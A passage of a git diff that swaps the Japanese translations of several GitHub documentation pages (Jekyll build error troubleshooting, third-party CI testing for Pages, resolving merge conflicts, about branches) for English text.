Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)." -{% data variables.product.product_name %} サイトの公開元を更新するためプルリクエストを作成すると、そのプルリクエストの [**Checks**] タブでビルドエラーメッセージが表示されます。 詳しい情報については[ステータスチェックについて](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)を参照してください。 +When you create a pull request to update your publishing source on {% data variables.product.product_name %}, you can see build error messages on the **Checks** tab of the pull request. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." -{% data variables.product.product_name %} の公開元に変更をプッシュする際、{% data variables.product.prodname_pages %} はサイトのビルドを試みます。 ビルドが失敗すると、プライマリメールアドレスにメールが送信されます。 また、ビルドの警告についてのメールも送信されます。 {% data reusables.pages.build-failure-email-server %} +When you push changes to your publishing source on {% data variables.product.product_name %}, {% data variables.product.prodname_pages %} will attempt to build your site. If the build fails, you'll receive an email at your primary email address. You'll also receive emails for build warnings. {% data reusables.pages.build-failure-email-server %} -{% data variables.product.product_name %} 上のビルドの失敗については、サイトのリポジトリの、[**Settings**] タブに表示されます。(ただし、ビルドの警告については表示されません。) +You can see build failures (but not build warnings) for your site on {% data variables.product.product_name %} in the **Settings** tab of your site's repository. -各コミット後にエラーメッセージを表示するように、[Travis CI](https://travis-ci.org/) などのサードパーティサービスを設定できます。 +You can configure a third-party service, such as [Travis CI](https://travis-ci.org/), to display error messages after each commit. -1. 公開元のルートに、以下の内容で _Gemfile_ と呼ばれるファイルをまだ追加していない場合は、追加します。 +1. If you haven't already, add a file called _Gemfile_ in the root of your publishing source, with the following content: ```ruby source `https://rubygems.org` gem `github-pages` ``` -2. 選択したテストサービス用にサイトのリポジトリを設定します。 例えば、[Travis CI](https://travis-ci.org/) を利用するには、以下の内容の _.travis.yml_ ファイルを、公開元のルートに追加します。 +2. Configure your site's repository for the testing service of your choice. For example, to use [Travis CI](https://travis-ci.org/), add a file named _.travis.yml_ in the root of your publishing source, with the following content: ```yaml language: ruby rvm: - 2.3 script: "bundle exec jekyll build" ``` -3. サードパーティのテストサービス内で、リポジトリを有効にする必要があるかもしれません。 詳しい情報については、お使いのテストサービスのドキュメンテーションを参照してください。 +3. You may need to activate your repository with the third-party testing service. For more information, see your testing service's documentation. diff --git a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md index b2c718df58..0224c4f21a 100644 --- a/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md +++ b/translations/ja-JP/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md @@ -1,6 +1,6 @@ --- -title: GitHub Pages サイトの Jekyll ビルドエラーに関するトラブルシューティング -intro: 'Jekyll ビルドエラーのメッセージを利用して、{% data variables.product.prodname_pages %} サイトの問題をトラブルシューティングすることができます。' +title: Troubleshooting Jekyll build errors for GitHub Pages sites +intro: 'You can use Jekyll build error messages to troubleshoot problems with your {% data variables.product.prodname_pages %} site.' redirect_from: - /articles/page-build-failed-missing-docs-folder/ - /articles/page-build-failed-invalid-submodule/ @@ -33,28 +33,28 @@ versions: ghec: '*' topics: - Pages -shortTitle: Jekyllエラーのトラブルシューティング +shortTitle: Troubleshoot Jekyll errors --- -## ビルドエラーのトラブルシューティング +## Troubleshooting build errors -{% data variables.product.prodname_pages %} サイトをローカルで、または {% data variables.product.product_name %} 上でビルドしているときに Jekyll でエラーが発生した場合、そのエラーメッセージをトラブルシューティングに利用できます。 エラーメッセージとその見方に関する詳しい情報は、「[{% data variables.product.prodname_pages %} サイトのJekyllビルドエラーについて](/articles/about-jekyll-build-errors-for-github-pages-sites)」を参照してください。 +If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you can use error messages to troubleshoot. For more information about error messages and how to view them, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)." -一般的なエラーメッセージが表示された場合は、よくある問題をチェックします。 -- サポートされていないプラグインを使用している。 詳しい情報については、「[{% data variables.product.prodname_pages %} と Jekyll について](/articles/about-github-pages-and-jekyll#plugins)」を参照してください。{% ifversion fpt or ghec %} -- リポジトリがリポジトリサイズの制限を超えている。 詳しい情報については「[私のディスク容量はいくつですか？](/articles/what-is-my-disk-quota)」を参照してください。{% endif %} -- *_config.yml* ファイルで `source` の設定を変更した。 ビルドプロセス中に、この設定は {% data variables.product.prodname_pages %} によってオーバーライドされます。 -- 公開ソースにあるファイル名にコロン (`:`) が含まれている。コロンは使用できません。 +If you received a generic error message, check for common issues. +- You're using unsupported plugins. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll#plugins)."{% ifversion fpt or ghec %} +- Your repository has exceeded our repository size limits. For more information, see "[What is my disk quota?](/articles/what-is-my-disk-quota)"{% endif %} +- You changed the `source` setting in your *_config.yml* file. {% data variables.product.prodname_pages %} overrides this setting during the build process. +- A filename in your publishing source contains a colon (`:`) which is not supported. -具体的なエラーメッセージが表示された場合は、エラーメッセージに関する以下のトラブルシューティング情報を確認してください。 +If you received a specific error message, review the troubleshooting information for the error message below. -エラーを修正したら、ソースを公開しているサイトにその変更をプッシュし、{% data variables.product.product_name %} でもう一度ビルドを実行します。 +After you've fixed any errors, push the changes to your site's publishing source to trigger another build on {% data variables.product.product_name %}. ## Config file error -このエラーメッセージは、*_config.yml* ファイルに構文エラーがあるためにサイトのビルドに失敗したことを意味します。 +This error means that your site failed to build because the *_config.yml* file contains syntax errors. -トラブルシューティングの際は、*_config.yml* ファイルが次のルールに従っていることを確認してください。 +To troubleshoot, make sure that your *_config.yml* file follows these rules: {% data reusables.pages.yaml-rules %} @@ -62,132 +62,132 @@ shortTitle: Jekyllエラーのトラブルシューティング ## Date is not a valid datetime -このエラーは、サイトのいずれかのページに無効な日付データが含まれていることを意味します。 +This error means that one of the pages on your site includes an invalid datetime. -トラブルシューティングするには、エラーメッセージで示されたファイルおよびファイルのレイアウトで、日付関連の Liquid フィルタをコールしている箇所を探します。 日付関連の Liquid フィルタに渡される変数に、すべてのケースで値があることと、`nil`または `""` を渡していないことを確認します。 詳細は、Liquid のドキュメンテーションで「[Liquid フィルタ](https://help.shopify.com/en/themes/liquid/filters)」を参照してください。 +To troubleshoot, search the file in the error message and the file's layouts for calls to any date-related Liquid filters. Make sure that any variables passed into date-related Liquid filters have values in all cases and never pass `nil` or `""`. For more information, see "[Liquid filters](https://help.shopify.com/en/themes/liquid/filters)" in the Liquid documentation. ## File does not exist in includes directory -このエラーは、*_includes* ディレクトリに存在していないファイルをコードで参照していることを意味します。 +This error means that your code references a file that doesn't exist in your *_includes* directory. -{% data reusables.pages.search-for-includes %} 参照していたファイルのいずれかが *_includes* ディレクトリに存在しない場合は、そのファイルを *_includes* ディレクトリにコピーまたは移動してください。 +{% data reusables.pages.search-for-includes %} If any of the files you've referenced aren't in the *_includes* directory, copy or move the files into the *_includes* directory. ## File is a symlink -このエラーは、サイトの公開ソースに存在しないシンボリックリンクされたファイルをコードで参照していることを意味します。 +This error means that your code references a symlinked file that does not exist in the publishing source for your site. -{% data reusables.pages.search-for-includes %} 参照していたファイルのいずれかがシンボリックリンクされている場合は、そのファイルを *_includes* ディレクトリにコピーまたは移動してください。 +{% data reusables.pages.search-for-includes %} If any of the files you've referenced are symlinked, copy or move the files into the *_includes* directory. ## File is not properly UTF-8 encoded -このエラーは、`日本語`などアルファベット以外の文字を使用したことを意味します。 +This error means that you used non-Latin characters, like `日本語`, without telling the computer to expect these symbols. -トラブルシューティングするには、*_config.yml* ファイルに次の行を追加して UTF-8 エンコーディングを指定します。 +To troubleshoot, force UTF-8 encoding by adding the following line to your *_config.yml* file: ```yaml encoding: UTF-8 ``` ## Invalid highlighter language -このエラーは、設定ファイルで [Rouge](https://github.com/jneen/rouge) または [Pygments](http://pygments.org/) 以外の構文ハイライターを指定したことを意味します。 +This error means that you specified any syntax highlighter other than [Rouge](https://github.com/jneen/rouge) or [Pygments](http://pygments.org/) in your configuration file. -トラブルシューティングするには、*_config.yml* ファイルを更新して [Rouge](https://github.com/jneen/rouge) または [Pygments](http://pygments.org/) を指定します。 詳しい情報については、「[{% data variables.product.product_name %} と Jekyll について](/articles/about-github-pages-and-jekyll#syntax-highlighting)」を参照してください。 +To troubleshoot, update your *_config.yml* file to specify [Rouge](https://github.com/jneen/rouge) or [Pygments](http://pygments.org/). For more information, see "[About {% data variables.product.product_name %} and Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting)." ## Invalid post date -このエラーメッセージは、サイトでの投稿で、ファイル名または YAML フロントマターに無効な日付が含まれていることを意味します。 +This error means that a post on your site contains an invalid date in the filename or YAML front matter. -トラブルシューティングするには、日付がすべて YYYY-MM-DD HH:MM:SS 形式の UTC 時間で、実際のカレンダー日付であることを確認します。 UTC との時差があるタイムゾーンを指定する場合は、YYYY-MM-DD HH:MM:SS +/-TTTT 形式を使用し、たとえば `2014-04-18 11:30:00 +0800` のように指定します。 +To troubleshoot, make sure all dates are formatted as YYYY-MM-DD HH:MM:SS for UTC and are actual calendar dates. To specify a time zone with an offset from UTC, use the format YYYY-MM-DD HH:MM:SS +/-TTTT, like `2014-04-18 11:30:00 +0800`. -*_config.yml* ファイルで日付形式を指定している場合は、その形式が正しいことを確認してください。 +If you specify a date format in your *_config.yml* file, make sure the format is correct. ## Invalid Sass or SCSS -このエラーは、リポジトリに無効な内容の Sass または SCSS ファイルが含まれていることを意味します。 +This error means your repository contains a Sass or SCSS file with invalid content. -トラブルシューティングするには、エラーメッセージに含まれている行番号を確認して、無効な Sass または SCSS を探します。 今後のエラーを防ぐために、お好みのテキストエディター用の Sass または SCSS 文法チェッカーをインストールします。 +To troubleshoot, review the line number included in the error message for invalid Sass or SCSS. To help prevent future errors, install a Sass or SCSS linter for your favorite text editor. ## Invalid submodule -このエラーは、適切に初期化されていないサブモジュールがリポジトリに含まれていることを意味します。 +This error means that your repository includes a submodule that hasn't been properly initialized. {% data reusables.pages.remove-submodule %} -そのサブモジュールを使用する必要がある場合は、サブモジュールを参照するとき、必ず `https://` (`http://` ではなく) を使用し、そのサブモジュールをパブリックリポジトリに配置してください。 +If do you want to use the submodule, make sure you use `https://` when referencing the submodule (not `http://`) and that the submodule is in a public repository. ## Invalid YAML in data file -このエラーは、*_data* フォルダの 1 つ以上のファイルに無効な YAML が含まれていることを意味します。 +This error means that one of more files in the *_data* folder contains invalid YAML. -トラブルシューティングするには、*_data* フォルダの YAML ファイルが次のルールに従っていることを確認します。 +To troubleshoot, make sure the YAML files in your *_data* folder follow these rules: {% data reusables.pages.yaml-rules %} {% data reusables.pages.yaml-linter %} -Jekyll データファイルの詳細は、Jekyll のドキュメンテーションで「[データファイル](https://jekyllrb.com/docs/datafiles/)」を参照してください。 +For more information about Jekyll data files, see "[Data Files](https://jekyllrb.com/docs/datafiles/)" in the Jekyll documentation. ## Markdown errors -このエラーは、リポジトリ Markdown エラーがあることを意味します。 +This error means that your repository contains Markdown errors. -トラブルシューティングするには、必ずサポートされている Markdown プロセッサを使用するようにします。 詳細は、「[Jekyll を使用して、{% data variables.product.prodname_pages %} サイトの Markdown プロセッサを設定する](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll)」を参照してください。 +To troubleshoot, make sure you are using a supported Markdown processor. For more information, see "[Setting a Markdown processor for your {% data variables.product.prodname_pages %} site using Jekyll](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll)." -次に、エラーメッセージで示されているファイルが有効な Markdown 構文を使っていることを確認します。 詳細は、Daring Fireball の「[Markdown: 構文](https://daringfireball.net/projects/markdown/syntax)」を参照してください。 +Then, make sure the file in the error message uses valid Markdown syntax. For more information, see "[Markdown: Syntax](https://daringfireball.net/projects/markdown/syntax)" on Daring Fireball. ## Missing docs folder -このエラーは、公開元としてブランチの `docs` フォルダを選択したが、そのブランチのリポジトリのルートに `docs` フォルダがないことを意味します。 +This error means that you have chosen the `docs` folder on a branch as your publishing source, but there is no `docs` folder in the root of your repository on that branch. -トラブルシューティングをするには、`docs` フォルダが誤って移動された場合は、公開元向けに選択したブランチのリポジトリのルートに `docs` フォルダを戻してみます。 `docs` フォルダを誤って削除した場合は、次のいずれかの方法が可能です。 -- Git を使用して削除を revert する、つまり取り消す。 詳細は、Git のドキュメンテーションで「[git-revert](https://git-scm.com/docs/git-revert.html)」を参照してください。 -- 公開元向けに選択したブランチのリポジトリのルートに新しい `docs` フォルダを作成し、サイトのソースファイルをフォルダに追加します。 詳細は「[新しいファイルを作成する](/articles/creating-new-files)」を参照してください。 -- 公開ソースを変更する。 詳細は「[{% data variables.product.prodname_pages %} の公開ソースを設定する](/articles/configuring-a-publishing-source-for-github-pages)」を参照してください。 +To troubleshoot, if your `docs` folder was accidentally moved, try moving the `docs` folder back to the root of your repository on the branch you chose for your publishing source. If the `docs` folder was accidentally deleted, you can either: +- Use Git to revert or undo the deletion. For more information, see "[git-revert](https://git-scm.com/docs/git-revert.html)" in the Git documentation. +- Create a new `docs` folder in the root of your repository on the branch you chose for your publishing source and add your site's source files to the folder. For more information, see "[Creating new files](/articles/creating-new-files)." +- Change your publishing source. For more information, see "[Configuring a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages)." ## Missing submodule -このエラーは、存在しない、または適切に初期化されていないサブモジュールがリポジトリに含まれていることを意味します。 +This error means that your repository includes a submodule that doesn't exist or hasn't been properly initialized. {% data reusables.pages.remove-submodule %} -サブモジュールを使用する必要がある場合は、そのサブモジュールを初期化します。 詳細は、_Pro Git_ ブックで「[Git Tools - Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules)」を参照してください。 +If you do want to use a submodule, initialize the submodule. For more information, see "[Git Tools - Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules)" in the _Pro Git_ book. ## Relative permalinks configured -このエラーは、*_config.yml* ファイルで相対パーマリンクを使用していることを意味します。相対パーマリンクは {% data variables.product.prodname_pages %} でサポートされていません。 +This errors means that you have relative permalinks, which are not supported by {% data variables.product.prodname_pages %}, in your *_config.yml* file. -パーマリンクとは、サイトの特定ページを参照している恒久的な URL です。 絶対パーマリンクはサイトのルートから始まり、相対パーマリンクは参照先ページを含むフォルダで始まります。 {% data variables.product.prodname_pages %} と Jekyll では、相対パーマリンクがサポートされなくなっています。 詳細は、Jekyll のドキュメンテーションで「[パーマリンク](https://jekyllrb.com/docs/permalinks/)」を参照してください。 +Permalinks are permanent URLs that reference a particular page on your site. Absolute permalinks begin with the root of the site, while relative permalinks begin with the folder containing the referenced page. {% data variables.product.prodname_pages %} and Jekyll no longer support relative permalinks. For more information about permalinks, see "[Permalinks](https://jekyllrb.com/docs/permalinks/)" in the Jekyll documentation. -トラブルシューティングするには、*_config.yml* ファイルから `relative_permalinks` の行を削除し、サイトに相対パーマリンクがある場合は絶対パーマリンクに直します。 For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." +To troubleshoot, remove the `relative_permalinks` line from your *_config.yml* file and reformat any relative permalinks in your site with absolute permalinks. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." ## Symlink does not exist within your site's repository -このエラーは、サイトの公開ソースに存在しないシンボリックリンク (symlink) がサイトに含まれていることを意味します。 シンボリックリンクの詳細は、Wikipedia で「[Symbolic link](https://en.wikipedia.org/wiki/Symbolic_link)」を参照してください。 +This error means that your site includes a symbolic link (symlink) that does not exist in the publishing source for your site. For more information about symlinks, see "[Symbolic link](https://en.wikipedia.org/wiki/Symbolic_link)" on Wikipedia. -トラブルシューティングするには、エラーメッセージで示されているファイルがサイトのビルドに使われているかどうかを確認します。 使われていない場合、またはファイルをシンボリックリンクにしたくない場合は、ファイルを削除します。 サイトのビルドにシンボリックファイルが必要な場合は、そのシンボリックリンクで参照されているファイルまたはディレクトリが、サイトの公開ソースにあることを確認してください。 外部アセットを除外するには、{% ifversion fpt or ghec %}`git submodule` または{% endif %}サードパーティのパッケージマネージャー、たとえば [Bower](https://bower.io/) などの使用を検討します。{% ifversion fpt or ghec %}詳細は「[{% data variables.product.prodname_pages %} でサブモジュールを使う ](/articles/using-submodules-with-github-pages)」を参照してください。{% endif %} +To troubleshoot, determine if the file in the error message is used to build your site. If not, or if you don't want the file to be a symlink, delete the file. If the symlinked file is necessary to build your site, make sure the file or directory the symlink references is in the publishing source for your site. To include external assets, consider using {% ifversion fpt or ghec %}`git submodule` or {% endif %}a third-party package manager such as [Bower](https://bower.io/).{% ifversion fpt or ghec %} For more information, see "[Using submodules with {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages)."{% endif %} ## Syntax error in 'for' loop -このエラーは、 Liquid の `for` ループ宣言で無効な構文が含まれていることを意味します。 +This error means that your code includes invalid syntax in a Liquid `for` loop declaration. -トラブルシューティングするには、エラーメッセージで示されているファイルですべての `for` ループの構文が正しいことを確認します。 `for` ループの正しい構文についての詳しい情報は、Liquid のドキュメンテーションで「[反復タグ](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for)」を参照してください。 +To troubleshoot, make sure all `for` loops in the file in the error message have proper syntax. For more information about proper syntax for `for` loops, see "[Iteration tags](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for)" in the Liquid documentation. ## Tag not properly closed -このエラーメッセージは、コードに含まれる論理タグが正しく閉じていないことを意味します。 たとえば、{% raw %}`{% capture example_variable %}` は `{% endcapture %}`{% endraw %} で閉じる必要があります。 +This error message means that your code includes a logic tag that is not properly closed. For example, {% raw %}`{% capture example_variable %}` must be closed by `{% endcapture %}`{% endraw %}. -トラブルシューティングするには、エラーメッセージで示されているファイルの論理タグがすべて適切に閉じられていることを確認します。 詳細は、Liquid のドキュメンテーションで「[Liquid タグ](https://help.shopify.com/en/themes/liquid/tags)」を参照してください。 +To troubleshoot, make sure all logic tags in the file in the error message are properly closed. For more information, see "[Liquid tags](https://help.shopify.com/en/themes/liquid/tags)" in the Liquid documentation. ## Tag not properly terminated -このエラーは、正しく閉じられていない出力タグがコードに含まれていることを意味します。 たとえば、{% raw %}`{{ page.title }}`{% endraw %} となるはずが {% raw %}`{{ page.title }`{% endraw %} となっているような場合です。 +This error means that your code includes an output tag that is not properly terminated. For example, {% raw %}`{{ page.title }` instead of `{{ page.title }}`{% endraw %}. -トラブルシューティングするには、エラーメッセージで示されているファイルの出力タグがすべて `}}` で適切に閉じられていることを確認します。 詳細は、Liquid のドキュメンテーションで「[Liquid オブジェクト](https://help.shopify.com/en/themes/liquid/objects)」を参照してください。 +To troubleshoot, make sure all output tags in the file in the error message are terminated with `}}`. For more information, see "[Liquid objects](https://help.shopify.com/en/themes/liquid/objects)" in the Liquid documentation. ## Unknown tag error -このエラーは、コードに認識されない Liquid タグが含まれていることを意味します。 +This error means that your code contains an unrecognized Liquid tag. -トラブルシューティングするには、エラーメッセージで示されているファイルの Liquid タグがすべて Jekyll のデフォルトの変数に一致し、タグ名に誤入力がないことを確認します。 デフォルトの変数のリストは、Jekyll のドキュメントで「[変数](https://jekyllrb.com/docs/variables/)」を参照してください。 +To troubleshoot, make sure all Liquid tags in the file in the error message match Jekyll's default variables and there are no typos in the tag names. For a list of default variables, see "[Variables](https://jekyllrb.com/docs/variables/)" in the Jekyll documentation. -認識されないタグの主な原因は、サポート対象外のプラグインです。 サイトをローカルで生成し、静的なファイルを {% data variables.product.product_name %} にプッシュすることで、サポート対象外のプラグインを使用している場合は、そのプラグインで Jekyll のデフォルトの変数と異なるタグが使われていないかどうか確認してください。 サポート対象のプラグインについては、「[{% data variables.product.prodname_pages %} と Jekyll について](/articles/about-github-pages-and-jekyll#plugins)」を参照してください。 +Unsupported plugins are a common source of unrecognized tags. If you use an unsupported plugin in your site by generating your site locally and pushing your static files to {% data variables.product.product_name %}, make sure the plugin is not introducing tags that are not in Jekyll's default variables. For a list of supported plugins, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll#plugins)." diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md index c78aaa5923..c2529a41aa 100644 --- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md +++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md @@ -1,6 +1,6 @@ --- -title: GitHub でのマージ コンフリクトを解決する -intro: コンフリクト エディターを使用すれば、GitHub で行の変更が競合している単純なマージ コンフリクトを解決できます。 +title: Resolving a merge conflict on GitHub +intro: 'You can resolve simple merge conflicts that involve competing line changes on GitHub, using the conflict editor.' redirect_from: - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github - /articles/resolving-a-merge-conflict-on-github @@ -16,45 +16,49 @@ topics: - Pull requests shortTitle: Resolve merge conflicts --- - -{% data variables.product.product_name %}で解決できるマージコンフリクトは、Git リポジトリの別々のブランチで、同じファイルの同じ行に異なる変更がなされた場合など、互いに矛盾する行変更を原因とするもののみです。 その他すべての種類のマージ コンフリクトについては、コマンド ラインでコンフリクトをローカルに解決する必要があります。 詳細は「[コマンド ラインを使用してマージコンフリクトを解決する](/articles/resolving-a-merge-conflict-using-the-command-line)」を参照してください。 +You can only resolve merge conflicts on {% data variables.product.product_name %} that are caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository. For all other types of merge conflicts, you must resolve the conflict locally on the command line. For more information, see "[Resolving a merge conflict using the command line](/articles/resolving-a-merge-conflict-using-the-command-line/)." {% ifversion ghes or ghae %} -サイトの管理者がリポジトリ間の Pull Request に対してマージ コンフリクト エディターを無効にしている場合、{% data variables.product.product_name %} ではコンフリクト エディターを使用できず、コマンドラインでマージ コンフリクトを解決する必要があります。 たとえば、マージ コンフリクト エディターが無効な場合、フォークと上流リポジトリの間の Pull Request ではそれを使用できません。 +If a site administrator disables the merge conflict editor for pull requests between repositories, you cannot use the conflict editor on {% data variables.product.product_name %} and must resolve merge conflicts on the command line. For example, if the merge conflict editor is disabled, you cannot use it on a pull request between a fork and upstream repository. {% endif %} {% warning %} -**警告:** {% data variables.product.product_name %} でマージコンフリクトを解決すると、プルリクエストの[ベースブランチ](/github/getting-started-with-github/github-glossary#base-branch)全体が [head ブランチ](/github/getting-started-with-github/github-glossary#head-branch)にマージされます このブランチにコミットすることが間違いでないことを確認してください。 head ブランチがリポジトリのデフォルトブランチである場合、プルリクエストの head ブランチとして機能する新しいブランチを作成するオプションが表示されます。 head ブランチが保護されている場合、コンフリクトの解決をマージすることができないため、新しい head ブランチを作成するように求められます。 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches)を参照してください。 +**Warning:** When you resolve a merge conflict on {% data variables.product.product_name %}, the entire [base branch](/github/getting-started-with-github/github-glossary#base-branch) of your pull request is merged into the [head branch](/github/getting-started-with-github/github-glossary#head-branch). Make sure you really want to commit to this branch. If the head branch is the default branch of your repository, you'll be given the option of creating a new branch to serve as the head branch for your pull request. If the head branch is protected you won't be able to merge your conflict resolution into it, so you'll be prompted to create a new head branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." {% endwarning %} {% data reusables.repositories.sidebar-pr %} -1. [Pull Requests] リストで、解決するマージ コンフリクトを起こしている Pull Request をクリックします。 -1. 指定した Pull Request の下部周辺で、[**Resolve conflicts**] をクリックします。 ![[Resolve merge conflicts] ボタン](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png) +1. In the "Pull Requests" list, click the pull request with a merge conflict that you'd like to resolve. +1. Near the bottom of your pull request, click **Resolve conflicts**. +![Resolve merge conflicts button](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png) {% tip %} - **ヒント:** [**Resolve conflicts**] ボタンが作動しない場合、指定した Pull Request のマージ コンフリクトは {% data variables.product.product_name %} で解決するには複雑すぎ{% ifversion ghes or ghae %} るか、サイトの管理者がリポジトリ間の Pull Request に対してコンフリクト エディターを無効にしてい{% endif %}ます。 別の Git クライアントを使用するか、コマンドラインで Git を使用して、マージのコンフリクトを解決する必要があります。 For more information see "\[Resolving a merge conflict using the command line\](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line." + **Tip:** If the **Resolve conflicts** button is deactivated, your pull request's merge conflict is too complex to resolve on {% data variables.product.product_name %}{% ifversion ghes or ghae %} or the site administrator has disabled the conflict editor for pull requests between repositories{% endif %}. You must resolve the merge conflict using an alternative Git client, or by using Git on the command line. For more information see "[Resolving a merge conflict using the command line](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)." {% endtip %} {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} - ![コンフリクトマーカー付きのマージコンフリクトの例を表示する](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png) -1. ファイルに複数のマージ コンフリクトがある場合は、次の一連のコンフリクト マーカーまで下にスクロールし、ステップ 4 と 5 を繰り返してマージ コンフリクトを解決します。 -1. ファイル内のコンフリクトをすべて解決したら、[**Mark as resolved**] をクリックします。 ![[Mark as resolved] ボタンをクリックする](/assets/images/help/pull_requests/mark-as-resolved-button.png) -1. コンフリクトしているファイルが複数ある場合は、[conflicting files] の下のページの左側で編集する次のファイルを選択し、Pull Request のマージ コンフリクトをすべて解決するまでステップ 4 から 7 を繰り返します。 ![コンフリクトしている次のファイルを選択する（該当する場合）](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png) -1. マージ コンフリクトをすべて解決したら、[**Commit merge**] をクリックします。 これにより、Base ブランチ全体が Head ブランチにマージされます。 ![[Resolve merge conflicts] ボタン](/assets/images/help/pull_requests/merge-conflict-commit-changes.png) -1. プロンプトに従い、コミット先のブランチをレビューします。 + ![View merge conflict example with conflict markers](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png) +1. If you have more than one merge conflict in your file, scroll down to the next set of conflict markers and repeat steps four and five to resolve your merge conflict. +1. Once you've resolved all the conflicts in the file, click **Mark as resolved**. + ![Click mark as resolved button](/assets/images/help/pull_requests/mark-as-resolved-button.png) +1. If you have more than one file with a conflict, select the next file you want to edit on the left side of the page under "conflicting files" and repeat steps four through seven until you've resolved all of your pull request's merge conflicts. + ![Select next conflicting file if applicable](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png) +1. Once you've resolved all your merge conflicts, click **Commit merge**. This merges the entire base branch into your head branch. + ![Resolve merge conflicts button](/assets/images/help/pull_requests/merge-conflict-commit-changes.png) +1. If prompted, review the branch that you are committing to. - head ブランチがリポジトリのデフォルトブランチである場合、コンフリクトを解決するために加えた変更でこのブランチを更新するか、新しいブランチを作成してこれをプルリクエストのヘッドブランチとして使用するかを選択できます。 ![更新するブランチの確認を求める](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png) + If the head branch is the default branch of the repository, you can choose either to update this branch with the changes you made to resolve the conflict, or to create a new branch and use this as the head branch of the pull request. + ![Prompt to review the branch that will be updated](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png) - 新しいブランチを作成する場合は、ブランチの名前を入力します。 + If you choose to create a new branch, enter a name for the branch. - プルリクエストの head ブランチが保護されている場合は、新しいブランチを作成する必要があります。 保護されたブランチを更新するオプションはありません。 + If the head branch of your pull request is protected you must create a new branch. You won't get the option to update the protected branch. - [**Create branch and update my pull request**] または [**I understand, continue updating _BRANCH_**] をクリックします。 ボタンテキストは、実行中のアクションに対応しています。 -1. Pull Request をマージするには、[**Merge pull request**] をクリックします。 Pull Request のマージ オプションの詳細については、「 [Pull Request をマージする](/articles/merging-a-pull-request/)」を参照してください。 + Click **Create branch and update my pull request** or **I understand, continue updating _BRANCH_**. The button text corresponds to the action you are performing. +1. To merge your pull request, click **Merge pull request**. For more information about other pull request merge options, see "[Merging a pull request](/articles/merging-a-pull-request/)." -## 参考リンク +## Further reading -- [プルリクエストのマージについて](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) +- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md index f09c3cc69b..b14dec6166 100644 --- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md +++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md @@ -1,6 +1,6 @@ --- -title: ブランチについて -intro: 開発作業をリポジトリ内の他のブランチに影響することなく分離するために、ブランチを使ってください。 各リポジトリには1つのデフォルトブランチがあり、複数の他のブランチを持つことができます。 プルリクエストを使えば、ブランチを他のブランチにマージできます。 +title: About branches +intro: 'Use a branch to isolate development work without affecting other branches in the repository. Each repository has one default branch, and can have multiple other branches. You can merge a branch into another branch using a pull request.' redirect_from: - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches - /articles/working-with-protected-branches/ @@ -15,69 +15,68 @@ versions: topics: - 